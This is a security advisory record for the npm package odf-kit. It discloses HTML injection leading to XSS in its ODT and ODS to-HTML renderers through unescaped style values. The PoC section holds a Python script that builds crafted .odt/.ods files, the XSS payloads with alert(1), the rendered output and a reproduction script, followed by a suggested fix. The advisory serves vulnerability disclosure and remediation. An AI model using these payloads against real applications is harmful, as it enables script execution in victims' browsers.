{"id":"GHSA-3cgg-c5pp-57h6","summary":"odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values","details":"### Summary\n\nODF style attribute values are interpolated into `style=\"...\"` attributes without HTML-escaping in **both** of odf-kit's to-HTML renderers (`odtToHtml` and `odsToHtml`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.odt` or `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions.\n\n### Details\n\n#### ODT renderer (`src/odt/to-html/html-renderer.ts`)\n\nThe renderer has an `escapeHtml()` helper and applies it consistently to text content and to attribute values — `href`, `src`, `alt`, `id`, `data-author`, `data-date`, citation text all go through it. The inline CSS strings do not.\n\nIn `renderTextSpan` (dist/odt/to-html/html-renderer.js:195):\n\n```js\nconst css = spanStyleToCss(span.style);\nif (css)\n    html = `\u003cspan style=\"${css}\"\u003e${html}\u003c/span\u003e`;\n```\n\nThe value of e.g. `fo:color` is copied from the document into `style.fontColor` verbatim by the parser (`extractSpanStyle`, read/parser.js:348), then concatenated raw into the attribute. A `\"` in the value terminates the attribute early.\n\nThe same unescaped `style=\"${...}\"` pattern appears at roughly ten other emission sites: paragraph and heading (`paragraphStyleToCss`), table cells and rows (`cellStyleToCss`, `rowStyleToCss`), `\u003ccol\u003e`, and the image style attribute. The affected source attributes include `fo:color`, `fo:background-color`, `fo:text-shadow`, `fo:letter-spacing`, `fo:font-family` (via both direct and font-face resolution), `fo:margin-*`, `fo:padding-*`, `fo:line-height`, `fo:border*`, and `style:vertical-align`.\n\n#### ODS renderer (`src/ods/to-html/html-renderer.ts`) — same bug\n\n`buildInlineStyle()` assembles the CSS string from cell formatting properties — `fo:color`, `fo:font-size`, `fo:font-family`, `fo:background-color`, `fo:text-align`, etc. — with zero `escapeHtml` calls, and `renderCell` emits it raw (line 65):\n\n```ts\nif (includeStyles && cell.formatting) {\n    const style = buildInlineStyle(cell.formatting);\n    if (style) attrs.push(`style=\"${style}\"`);\n}\n```\n\nAdditionally, `row.height` (from `style:row-height`) goes raw into the row element (line 95):\n\n```ts\nconst style = includeStyles && row.height ? ` style=\"height:${row.height}\"` : \"\";\nreturn `\u003ctr class=\"${prefix}-row\"${style}\u003e${cells}\u003c/tr\u003e`;\n```\n\nThe same injection is reachable through the public `odf-kit/ods/to-html` export (`odsToHtml()`), so both to-HTML directions are affected.\n\n#### Version scope\n\nThe `odt/to-html` and `ods/to-html` modules first shipped in **0.14.0**; the current latest release is **0.14.1**. The PoCs were re-ran against the unreleased `main` branch (commit `270a361`) — both injections still fire, so no fix has landed past the release.\n\n### PoC\n\nEach PoC is a minimal ODF package (`mimetype` + `META-INF/manifest.xml` + `content.xml`) whose `content.xml` contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) — save as `build-pocs.py` and run `python3 build-pocs.py`:\n\n```python\nimport zipfile\n\ndef build(path, mimetype, content):\n    # ODF requires 'mimetype' first and stored uncompressed\n    with zipfile.ZipFile(path, \"w\") as z:\n        z.writestr(zipfile.ZipInfo(\"mimetype\"), mimetype, compress_type=zipfile.ZIP_STORED)\n        z.writestr(\"META-INF/manifest.xml\",\n            '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n'\n            '\u003cmanifest:manifest xmlns:manifest=\"urn:oasis:names:tc:opendocument:xmlns:manifest:1.0\" manifest:version=\"1.2\"\u003e\\n'\n            ' \u003cmanifest:file-entry manifest:full-path=\"/\" manifest:media-type=\"' + mimetype + '\"/\u003e\\n'\n            ' \u003cmanifest:file-entry manifest:full-path=\"content.xml\" manifest:media-type=\"text/xml\"/\u003e\\n'\n            '\u003c/manifest:manifest\u003e\\n')\n        z.writestr(\"content.xml\", content)\n\nODT = \"application/vnd.oasis.opendocument.text\"\nODS = \"application/vnd.oasis.opendocument.spreadsheet\"\nHEAD = ('\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n'\n        '\u003coffice:document-content\\n'\n        ' xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\"\\n'\n        ' xmlns:text=\"urn:oasis:names:tc:opendocument:xmlns:text:1.0\"\\n'\n        ' xmlns:style=\"urn:oasis:names:tc:opendocument:xmlns:style:1.0\"\\n'\n        ' xmlns:fo=\"urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0\"\u003e')\n\nQ = \"&quot;\"\np1 = f\"red{Q} onmouseover={Q}alert(1){Q} x={Q}\"                       # attribute injection\np2 = f'red{Q}&gt;&lt;img src=x onerror={Q}alert(1){Q}&gt;&lt;x style={Q}'  # full markup injection\n\n# .odt: one paragraph with a poisoned automatic text style\ndef odt(p):\n    return (HEAD + '\\n\u003coffice:automatic-styles\u003e\\n'\n        ' \u003cstyle:style style:family=\"paragraph\" style:name=\"P1\"\u003e\\n'\n        f'  \u003cstyle:text-properties fo:color=\"{p}\"/\u003e\\n'\n        ' \u003c/style:style\u003e\\n\u003c/office:automatic-styles\u003e\\n'\n        '\u003coffice:body\u003e\u003coffice:text\u003e\u003ctext:p text:style-name=\"P1\"\u003ehello\u003c/text:p\u003e'\n        '\u003c/office:text\u003e\u003c/office:body\u003e\u003c/office:document-content\u003e\\n')\n\n# .ods: one cell with a poisoned automatic cell style\ndef ods(p):\n    return (HEAD + '\\n\u003coffice:automatic-styles\u003e\\n'\n        ' \u003cstyle:style style:family=\"table-cell\" style:name=\"ce1\"\u003e\\n'\n        f'  \u003cstyle:text-properties fo:color=\"{p}\"/\u003e\\n'\n        ' \u003c/style:style\u003e\\n\u003c/office:automatic-styles\u003e\\n'\n        '\u003coffice:body\u003e\u003coffice:spreadsheet\u003e\u003ctable:table table:name=\"Sheet1\"'\n        ' xmlns:table=\"urn:oasis:names:tc:opendocument:xmlns:table:1.0\"\u003e'\n        '\u003ctable:table-row\u003e\u003ctable:table-cell table:style-name=\"ce1\" office:value-type=\"string\"\u003e'\n        '\u003ctext:p\u003ehello\u003c/text:p\u003e\u003c/table:table-cell\u003e\u003c/table:table-row\u003e'\n        '\u003c/table:table\u003e\u003c/office:spreadsheet\u003e\u003c/office:body\u003e\u003c/office:document-content\u003e\\n')\n\nbuild(\"poc1.odt\", ODT, odt(p1))\nbuild(\"poc2.odt\", ODT, odt(p2))\nbuild(\"poc3.ods\", ODS, ods(p2))\n```\n\nThis produces `poc1.odt`, `poc2.odt` and `poc3.ods`. The only attacker-controlled input is the `fo:color` value on the style — for poc1 it reads, as stored in `content.xml`:\n\n```xml\n\u003cstyle:text-properties fo:color=\"red&quot; onmouseover=&quot;alert(1)&quot; x=&quot;\"/\u003e\n```\n\n\n**poc1.odt — attribute injection (ODT).** The `fo:color` value (unescaped) is:\n\n```\nred\" onmouseover=\"alert(1)\" x=\"\n```\n\n(encoded as `&quot;` in the XML). Output of `odtToHtml(bytes, { fragment: true })`:\n\n```html\n\u003cp\u003e\u003cspan style=\"color:red\" onmouseover=\"alert(1)\" x=\"\"\u003ehello\u003c/span\u003e\u003c/p\u003e\n```\n\nThe quote breaks out of `style`, and `onmouseover` becomes a real attribute on the span.\n\n**poc2.odt — full markup injection (ODT).** The style value is:\n\n```\nred\"\u003e\u003cimg src=x onerror=\"alert(1)\"\u003e\u003cx style=\"\n```\n\nOutput:\n\n```html\n\u003cp\u003e\u003cspan style=\"color:red\"\u003e\u003cimg src=x onerror=\"alert(1)\"\u003e\u003cx style=\"\"\u003ehello\u003c/span\u003e\u003c/p\u003e\n```\n\n**poc3.ods — same injection via the ODS renderer.** A crafted `.ods` whose cell automatic style carries a poisoned `fo:color` value (same payload as poc2). Output of `odsToHtml(bytes)`:\n\n```html\n\u003ctr class=\"ods-row\"\u003e\u003ctd class=\"ods-cell\" style=\"color:red\"\u003e\u003cimg src=x onerror=\"alert(1)\"\u003e\u003cx style=\"\"\u003ehello\u003c/td\u003e\u003c/tr\u003e\n```\n\nReproduction script:\n\n```js\nimport { readFileSync } from 'fs';\nimport { odtToHtml } from 'odf-kit/odt/to-html';\nimport { odsToHtml } from 'odf-kit/ods/to-html';\n\nconst bytes = (p) =\u003e new Uint8Array(readFileSync(p));\n\nconsole.log(odtToHtml(bytes('poc2.odt'), { fragment: true }));\nconsole.log(odsToHtml(bytes('poc3.ods')));\n```\n\nThis was found while auditing ODT import paths in a web application that uses odf-kit as its converter. That application happens to sanitize the output downstream, so minimal standalone reproductions were built against the published odf-kit 0.14.1 package directly in Node.\n\n### Impact\n\nAny consumer that renders `odtToHtml()` or `odsToHtml()` output as HTML — which is both functions' documented purpose — gets XSS from a crafted `.odt`/`.ods` file they convert. Untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin. The fragment mode (`{ fragment: true }`) is equally affected. The header comment in the ODT renderer currently promises \"the output is safe to embed in any context\", so consumers may reasonably be relying on that today.\n\nFor what it's worth, the sibling paths were checked: the markdown direction does not reach this code, and `escapeHtml` is correctly applied everywhere else I looked in the ODT renderer. The ODS renderer initially appeared clean too, but the `buildInlineStyle` path above is the second instance of the same defect.\n\n### Suggested fix\n\nEscape the assembled CSS string at every `style=\"${...}\"` site, in both renderers:\n\n```js\nhtml = `\u003cspan style=\"${escapeHtml(css)}\"\u003e${html}\u003c/span\u003e`\n```\n\n(or, stronger, validate/allowlist the parsed style values at parse time — they are all supposed to be color literals, lengths, or keywords, so a strict per-property format check would also work; escaping `row.height` in the ODS renderer at line 95 as well). The per-site escape is the minimal fix consistent with the rest of the ODT file.","aliases":["CVE-2026-113787"],"modified":"2026-11-04T16:30:03.658308810Z","published":"2026-11-04T16:14:34Z","database_specific":{"nvd_published_at":"2026-10-21T16:17:26Z","cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-11-04T16:14:34Z"},"references":[{"type":"WEB","url":"https://github.com/GitHubNewbie0/odf-kit/security/advisories/GHSA-3cgg-c5pp-57h6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113787"},{"type":"WEB","url":"https://github.com/GitHubNewbie0/odf-kit/commit/fa3abc5a7a757f56c7212b2dbe99d1d2db995420"},{"type":"PACKAGE","url":"https://github.com/GitHubNewbie0/odf-kit"},{"type":"WEB","url":"https://github.com/GitHubNewbie0/odf-kit/releases/tag/v0.14.2"}],"affected":[{"package":{"name":"odf-kit","ecosystem":"npm","purl":"pkg:npm/odf-kit"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.6.0"},{"fixed":"0.14.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3cgg-c5pp-57h6/GHSA-3cgg-c5pp-57h6.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}